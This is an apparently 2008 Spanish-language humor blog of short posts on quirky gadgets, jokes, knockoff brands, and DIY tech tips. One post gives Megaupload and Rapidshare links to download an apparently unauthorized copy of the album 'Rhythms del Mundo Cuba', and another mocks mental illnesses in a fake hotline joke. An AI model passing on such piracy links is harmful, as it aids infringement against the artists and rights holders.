Todos saben que Japón es la tierra del sushi, sake, monstruos gigantes y robots con la habilidad de transformarse. Softbank ha miniaturizado la parte del robot con su nuevo teléfono celular Toshiba 815T PB estilo clamshell. Este es un teléfono 3D con auto enfoque y pantalla QVGA. Luce un poco extraño con todas esas extremidades, pero al menos ya no tendrás que conformarte con esas figuras de acción de las Tortugas Ninja de los 80s reposando miserablemente en tu escritorio. Me gusta la forma en que la pantalla del teléfono es utilizada para mostrar la cara de tu robot. Hubiera sido mejor si esas extremidades tuvieran alguna función en lugar de solamente ser accesorios.

La fregona automática, un poco engorroso pero bueno.

Aquí tenemos una fregona conectada a un rail en el techo. La verda es que no le veo mucha utilidad pues siempre realia el mismo recorrido. Y el trabajazo que se han tenido que pegar para instalar el rail ha tenido que ser considerable, no se, la gente se aburre en cantidades.

Pegatinas eróticas para el teclado, más cosas sin sentido en mi vida.
Que tal si nos limitamos a ver la foto y no lo comenatmos más, por que el invento ya de por si tiene miga. Os imagináis... abra a quien le guste más tocar el teclado así... enfin ... me voy a callar.

El ratón aspiradora

¿Te gusta cenar delante del ordenador y dejas el escritorio lleno de migas? ¿O lo tienes lleno de polvo porque te da pereza limpiarlo? Hoy estás de suerte amigo, ya que nuestros amigos los japoneses nos traen la solución: el ratón aspiradora.

Ideal para vagos como nosotros, puedes pasar la aspiradora por tu escritorio mientras navegas y sin molestia alguna. Este ratón se conecta por un puerto usb 1.1 e incorpora un botón para poner en marcha el aspirador, con el que podrás mantener bien limpio tu escritorio.

Aunque le veo algunos fallos de diseño, es una gran solución para los que eso de ir a por un trapo para limpiar es una tarea demasiado pesada para llevarla a cabo.

Salsa con Coldplay y mas, muy bueno :)

2008-02-29T16:33:00.000-08:00

1.Clocks - Coldplay
2.Better Together - Jack Johnson
3.Dancing Shoes - Arctic Monkeys
4.One Step Too Far - Dido & faithless
5.As Time Goes By - Ibrahim Ferrer
6.I Still Haven't Found What I'm Looking For - Coco & U2
7.She Will Be Loved - Maroon 5
8.Modern Way - Kaiser Chiefs
9.Killing Me Softly - Omara Portuondo
10.Ai No Corrida - Vanya & Quincy
11.Fragilidad - Sting
12.Don't Know Why - Vanya
13.Hotel Buena Vista - Aquila Rose & Idana
14.The Dark of the Matinée - Coco & Franz Ferdinand
15.High and Dry - Lele & Radiohead
16.Casablanca - Ibrahim & Omara (Bonus track)

Aqui les dejo este CD que en mi opinion esta muy bueno, se los recomiendo si es que les gusta la salsa mas aun con Coldplay, Maroon 5, Dido,etc..

Descripción de CD:
Con colaboraciones de miembros de The Buena Vista Social Club y de algunos de los artistas británicos y americanos más famosos del momento el álbum Rhythms del Mundo Cuba es un proyecto musical en beneficio de la organización APE (Artists Project Earth) que promueve acciones para combatir el cambio climático y el calentamiento global.

ENLACES PARA BAJAR EL CD:

En MEGAUPLOAD:
http://www.megaupload.com/?d=V1WCUWA9

En RAPIDSHARE:
http://rapidshare.com/files/24566134/Buena_Vista_Social_Club_-_Rhythms_Del_Mundo.zip

Si no tienes con quien platicar por MSN te presento a un amigo que esta dispuesto hacerlo

2008-02-28T22:54:00.000-08:00

Aqui dejo estos dos correos de Enciclopedia Encarta, es muy divertido este servicio. Es una maquina que puede platicar contigo a cualquier hora podes preguntarle lo que quieras es mas divertido aun si le decis grocerias.

es.encarta@botmetro.net

Agregalo y preguntale lo que quieras.

Body Paint muy natural

2008-02-28T21:13:00.000-08:00

Les quiero enseñar este tatuaje mejor dicho echo en un dos por tres con una hoja de una planta muy curiosa que solo se encuentra en lugares tropicales, sobre todo se dan en riachuelos muy húmedos. Pero mejor chequenlo.

No causa irritación, ni mucho menos enfermedades en la piel

23 de Febrero no se olvida Jajaja

2008-02-28T21:08:00.000-08:00

Perdon por no publicar esta foto a tiempo, pero bueno aqui esta. La pasamos muy bien mi niña te adoro ojala que todo salga bien.

A VER QUIEN ES EL “RATA” QUE SE DA A LA FUGA DE ESTOS POLICIAS….

2008-02-28T16:45:00.001-08:00

Gran bretaña

Hungria

Japon

Estados unidos

Francia

Italia

Alemania

Mexico

Ilusion optica

2008-02-27T16:58:00.000-08:00

Diez razones para odiar San Valentín

2008-02-24T18:57:00.001-08:00

Diez razones para odiar San Valentín

1. Si no tienes novio/a te sientes un bicho raro. Si de por sí el mundo parece diseñado para parejas, el 14 de febrero es como un indicativo luminoso que te dice que no hay sitio para ti.

2. Y además te encuentras la bandeja de entrada llena de spam con el asunto “¿Otro San Valentín sin pareja?” anunciando sites de esos de conocer gente. Y tú piensas que, irremediablemente, te vas a morir solo/a.

3. Cuando tienes novio/a resulta que sólo por eso tienes que participar en una celebración que siempre te ha parecido una gilipollez para que los demás no piensen que eres raro/a o que “algo va mal” en tu relación.

4. Si no lo tienes claro o no habéis hablado de celebraciones ni regalos sí o regalos no: no sabes si regalar, ni qué comprar, ni cuánto gastar… Son demasiadas probabilidades de cagarla como para dejarlas todas escapar.

5. También puede cagarla tu novio/a y regalarte algo espantoso que te horrorizará pero tendrás que fingir que te encanta para no romperle el corazón.

6. Siempre hay algún gilipollas que te pregunta qué te han regalado. Y que te mirará con pena si le respondes “nada” o “un disco de Luis Miguel”.

7. Si el día 14 te pilla en medio de una bronca, tienes que aparcarla porque en San Valentín hay que quererse mucho y es un mal rollo estar de mal rollo.

8. Y seguro que al día siguiente ya no te acuerdas del por qué de la discusión. Y a mí eso me joroba mogollón.

9. No hay forma de encontrar mesa en ningún restaurante de la ciudad.

10. Es imposible hacer como si no estuviera. San Valentín lo sobrevuela todo y la tele, la radio, las tiendas y las cursis no van a dejar que te pase desapercibido.

Así que, por ese rollo de “si no puedes vencerlos, únete a ellos”, tomo prestado el cetro de la cursilidad de Misia (que ya se le está oxidando por falta de uso), y paso a buscar el bright side of Valentine’s Day.

Cinco razones para amar San Valentín (para diez no da)

1. Que es una razón tan buena como cualquier otra para regalarse cosas, ¡y los regalos molan!

2. Todo se llena de corazones rojos, ¡y los corazones molan!

3. Las firmas de ropa interior sacan modelitos especiales de San Valentín de lo más resultón.

4. Siempre hay bombones rulando por la redacción. ¡Chocolate!

5. Puedes ser todo lo cursi que quieras, que no vas a llamar la atención.

Grabación del contestador automático del Instituto de Salud Mental

2008-02-24T18:45:00.001-08:00

“Gracias por llamar al instituto de Salud Mental, la organización más efectiva para tratar sus momentos de locura:

Si usted es obsesivo-compulsivo, presione repetidamente el número 1.

Si usted es co-dependiente, pídale a alguien que presione el número 2 por usted.

Si usted tiene múltiples personalidades, presione el 3,4,5 y 6.

Si usted es paranoico, nosotros ya sabemos quién es usted, sabemos lo que hace y sabemos lo que quiere, de modo que espere en línea mientras rastreamos su llamada.

Si usted sufre de alucinaciones, presione el 7 en ese teléfono gigante de colores que Ud. (y sólo Ud.) ve a su derecha.

Si usted es esquizofrénico, escuche cuidadosamente y una pequeña voz interior le indicará qué número presionar.

Si usted es depresivo, no importa qué número marque, da lo mismo, nada
conseguirá sacarlo de su lamentable situación.

Si usted sufre de amnesia, presione 8 y diga en voz alta su nombre, apellidos, dirección, teléfonos, e-mail, C.I., número de su cuenta corriente, fecha de nacimiento, lugar de nacimiento, estado civil y el teléfono de sus vecinos.

Si usted sufre de indecisión, deje su mensaje después de escuchar el tono… o antes del tono… o después del tono… o durante el tono. En todo caso, espere el tono.

Si sufre de pérdida de la memoria de corto plazo, presione 9.
Si sufre de pérdida de la memoria de corto plazo, presione 9.
Si sufre de pérdida de la memoria de corto plazo, presione 9.
Si sufre de pérdida de la memoria de corto plazo, presione 9.

Si es tacaño obsesivo, le duele terriblemente prestar sus cosas y siempre espera retribución por los favores, ¡cuidado! cuelgue de inmediato, pues deberá pagar S.L.M. a una tasa de 100 pesos por minuto…

Si tiene la autoestima baja, por favor cuelgue. Todos nuestros operadores están atendiendo a personas más importantes que usted.

Si con esto su problema se acentúa, es porque estamos mejorando para usted

Lo original VS pirata

2008-02-23T21:43:00.001-08:00

Mr & Mrs Smith VS Yama & Shizu Claramente me quedo con Angelina Jolie, no hay color…

Sanyo VS Sankyo

Puma VS Pmua, Foum, Pama, Kuma

¿Sera igual de cómodas las Puma, Foum, Pmua, Pama o Kuma?

Oreo VS Co-lio Destápala, chupala, mójala en la leche… cooo li oooooo…

Converse VS Ball Star Con dos balls, si señor.

Coca Cola VS Cala Cala No se libra ninguno.

Los Beatles Vease comentario anterior.

Fanta VS Sasa , Coca Cola VS Hello Cola, Sprite VS Smile

Nokia VS Nokla

D&G VS D&G(Dio & Gomez) VS A&G

Lacoste VS Lakostik VS Lokasta

Cojines

2008-02-23T21:12:00.001-08:00

Desde China nos llega este innovador cojín para solteras.

Fiesta de disfraces

2008-02-23T21:06:00.000-08:00

Imagenes divertidas policias

2008-02-23T19:52:00.000-08:00

Aqui les dejo estas imagenes muy divertidas de la POLI

Lo que captan las cámaras

2008-02-22T17:58:00.001-08:00

Aqui les dejo unas imagenes muy graciosas que me mandaron unos amigos

Hay que preparar antes la escena del crimen…

Esas manitas…

Se alegra de verla

¿WTF?

¿??¿¿?

Aprovechando el descuido

Manual para hacker en un bar,

2008-02-22T15:53:00.000-08:00

Como conseguir algo de bebidas gratis, aqui les dejo esta tecnica muy curiosa jajaja

Nota, vaso tiene que tener popote o de lo contrario llevar uno.

Usar control Xbox en la PC

2008-02-22T14:46:00.000-08:00

Aqui dejo esta imagen si quieres usar tu control de Xbox para jugar en la PC, y tambien el link para bajar los driver del control del xbox,

http://www.redcl0ud.com/xbcd.html#download

Una imagen muy curiosa

2008-02-22T14:39:00.000-08:00

Aqui les dejo esta señal muy curiosa

Antena amplificadora de señal para USB Wifi ó wireless

2008-02-22T14:23:00.000-08:00

Aquí les dejo esto que me encontré el otro día navegando, crean lo o no pero si funciona yo mismo lo he probado. Funciona muy bien para aquellas tarjetas usb para wifi, si tienes una y no cuentas con tanto presupuesto para comprarte esas caras antenas para amplificar tu señal esto es lo ideal para nosotros que no contamos con los recurso.

http://www.usbwifi.orcon.net.nz/

Esta es mi pequeña antena construida por papel aluminio es muy efectivo si no tienes otro material para construir tu antena.